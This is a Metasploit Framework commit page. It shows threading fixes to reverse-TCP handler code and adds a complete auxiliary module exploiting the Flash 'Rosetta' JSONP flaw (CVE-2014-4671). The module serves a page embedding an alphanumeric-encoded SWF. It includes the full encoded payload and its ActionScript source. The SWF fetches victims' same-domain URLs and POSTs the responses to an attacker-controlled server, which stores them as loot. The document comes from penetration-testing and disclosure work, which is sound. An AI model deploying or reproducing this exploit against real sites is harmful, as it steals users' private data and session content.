Skip to content

Commit 6fd1ff6

Browse files
committed
Merge master
2 parents d637171 + a7a700c commit 6fd1ff6

File tree

10 files changed

+593
-205
lines changed

10 files changed

+593
-205
lines changed

lib/msf/core/handler/reverse_tcp.rb

Lines changed: 17 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,12 @@ def initialize(info = {})
5555
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
5656
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
5757
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
58-
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false])
58+
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
59+
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
5960
], Msf::Handler::ReverseTcp)
6061

61-
6262
self.handler_queue = ::Queue.new
63+
self.conn_threads = []
6364
end
6465

6566
#
@@ -124,6 +125,12 @@ def setup_handler
124125
#
125126
def cleanup_handler
126127
stop_handler
128+
129+
# Kill any remaining handle_connection threads that might
130+
# be hanging around
131+
conn_threads.each { |thr|
132+
thr.kill rescue nil
133+
}
127134
end
128135

129136
#
@@ -154,7 +161,13 @@ def start_handler
154161
while true
155162
client = self.handler_queue.pop
156163
begin
157-
handle_connection(wrap_aes_socket(client))
164+
if datastore['ReverseListenerThreaded']
165+
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
166+
handle_connection(wrap_aes_socket(client_copy))
167+
}
168+
else
169+
handle_connection(wrap_aes_socket(client))
170+
end
158171
rescue ::Exception
159172
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
160173
end
@@ -261,6 +274,7 @@ def bind_address
261274
attr_accessor :listener_thread # :nodoc:
262275
attr_accessor :handler_thread # :nodoc:
263276
attr_accessor :handler_queue # :nodoc:
277+
attr_accessor :conn_threads # :nodoc:
264278
end
265279

266280
end

lib/msf/core/handler/reverse_tcp_double.rb

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def cleanup_handler
8383
# Kill any remaining handle_connection threads that might
8484
# be hanging around
8585
conn_threads.each { |thr|
86-
thr.kill
86+
thr.kill rescue nil
8787
}
8888
end
8989

@@ -105,9 +105,6 @@ def start_handler
105105

106106
client_b = self.listener_sock.accept
107107
print_status("Accepted the second client connection...")
108-
109-
sock_inp, sock_out = detect_input_output(client_a, client_b)
110-
111108
rescue
112109
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
113110
return nil
@@ -119,9 +116,10 @@ def start_handler
119116
# Start a new thread and pass the client connection
120117
# as the input and output pipe. Client's are expected
121118
# to implement the Stream interface.
122-
conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
119+
conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
123120
begin
124-
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
121+
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
122+
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out)
125123
handle_connection(chan.lsock)
126124
rescue
127125
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")

lib/msf/core/handler/reverse_tcp_double_ssl.rb

Lines changed: 4 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -84,7 +84,7 @@ def cleanup_handler
8484
# Kill any remaining handle_connection threads that might
8585
# be hanging around
8686
conn_threads.each { |thr|
87-
thr.kill
87+
thr.kill rescue nil
8888
}
8989
end
9090

@@ -106,9 +106,6 @@ def start_handler
106106

107107
client_b = self.listener_sock.accept
108108
print_status("Accepted the second client connection...")
109-
110-
sock_inp, sock_out = detect_input_output(client_a, client_b)
111-
112109
rescue
113110
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
114111
return nil
@@ -120,9 +117,10 @@ def start_handler
120117
# Start a new thread and pass the client connection
121118
# as the input and output pipe. Client's are expected
122119
# to implement the Stream interface.
123-
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
120+
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
124121
begin
125-
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
122+
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
123+
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)
126124
handle_connection(chan.lsock)
127125
rescue
128126
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")

lib/msf/core/module.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1139,7 +1139,7 @@ def merge_info_name(info, val)
11391139
# Merges the module description.
11401140
#
11411141
def merge_info_description(info, val)
1142-
merge_info_string(info, 'Description', val)
1142+
merge_info_string(info, 'Description', val, ". ", true)
11431143
end
11441144

11451145
#
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'open-uri'
8+
require 'uri'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
18+
'Description' => %q{
19+
A website that serves a JSONP endpoint that accepts a custom alphanumeric
20+
callback of 1200 chars can be abused to serve an encoded swf payload that
21+
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
22+
23+
This module spins up a web server that, upon navigation from a user, attempts
24+
to abuse the specified JSONP endpoint URLs by stealing the response from
25+
GET requests to STEAL_URLS.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
29+
'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
30+
'joev' # msf module
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2014-4671'],
35+
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
36+
['URL', 'https://github.com/mikispag/rosettaflash'],
37+
['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
38+
],
39+
'DisclosureDate' => 'Jul 8 2014',
40+
'Actions' => [ [ 'WebServer' ] ],
41+
'PassiveActions' => [ 'WebServer' ],
42+
'DefaultAction' => 'WebServer'))
43+
44+
register_options(
45+
[
46+
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
47+
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
48+
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
49+
OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
50+
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
51+
],
52+
self.class)
53+
end
54+
55+
def run
56+
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
57+
raise "JSONP endpoint does not allow sufficiently long callback names."
58+
end
59+
60+
unless datastore['URIPATH'] == '/'
61+
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
62+
end
63+
64+
exploit
65+
end
66+
67+
def check
68+
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
69+
io = open(exploit_url(test_string))
70+
if io.read.start_with? test_string
71+
Msf::Exploit::CheckCode::Vulnerable
72+
else
73+
Msf::Exploit::CheckCode::Safe
74+
end
75+
end
76+
77+
def on_request_uri(cli, request)
78+
vprint_status("Request '#{request.method} #{request.uri}'")
79+
if request.uri.end_with? 'crossdomain.xml'
80+
print_status "Responding to crossdomain request.."
81+
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
82+
elsif request.uri.end_with? '.log'
83+
body = URI.decode(request.body)
84+
file = store_loot(
85+
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
86+
)
87+
url = body.lines.first.gsub(/.*?=/,'')
88+
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
89+
print_good "Stored in #{file}"
90+
else
91+
print_status "Serving exploit HTML"
92+
send_response_html(cli, exploit_html)
93+
end
94+
end
95+
96+
def exploit_url(data_payload)
97+
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
98+
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
99+
end
100+
101+
def exploit_html
102+
ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
103+
%Q|
104+
<!doctype html>
105+
<html>
106+
<body>
107+
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
108+
width=500 height=500>
109+
<param name="FlashVars"
110+
value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
111+
</object>
112+
</body>
113+
</html>
114+
|
115+
end
116+
117+
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
118+
#
119+
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
120+
#
121+
# class X {
122+
# static var app : X;
123+
#
124+
# function getURL(url:String) {
125+
# var r:LoadVars = new LoadVars();
126+
# r.onData = function(src:String) {
127+
# if (_root.exfiltrate) {
128+
# var w:LoadVars = new LoadVars();
129+
# w.x = url+"\n"+src;
130+
# w.sendAndLoad(_root.exfiltrate, w, "POST");
131+
# }
132+
# }
133+
# r.load(url, r, "GET");
134+
# }
135+
#
136+
# function X(mc) {
137+
# if (_root.url) {
138+
# var urls:Array = _root.url.split(",");
139+
# for (var i in urls) {
140+
# getURL(urls[i]);
141+
# }
142+
# }
143+
# }
144+
#
145+
# // entry point
146+
# static function main(mc) {
147+
# app = new X(mc);
148+
# }
149+
# }
150+
#
151+
#
152+
# Compiling the .as using mtasc and swftool:
153+
#
154+
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
155+
# $ swfcombine -d out.swf -o out-uncompressed.swf
156+
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
157+
#
158+
def encoded_swf
159+
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
160+
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
161+
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
162+
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
163+
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
164+
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
165+
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
166+
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
167+
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
168+
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
169+
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
170+
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
171+
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
172+
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
173+
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
174+
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
175+
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
176+
"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
177+
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
178+
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
179+
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
180+
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
181+
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
182+
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
183+
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
184+
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
185+
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
186+
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
187+
end
188+
189+
def crossdomain_xml
190+
%Q|
191+
<?xml version="1.0" ?>
192+
<cross-domain-policy>
193+
<allow-access-from domain="*" />
194+
</cross-domain-policy>
195+
|
196+
end
197+
198+
def rhost
199+
URI.parse(datastore["JSONP_URL"]).host
200+
end
201+
202+
end

0 commit comments

Comments
 (0)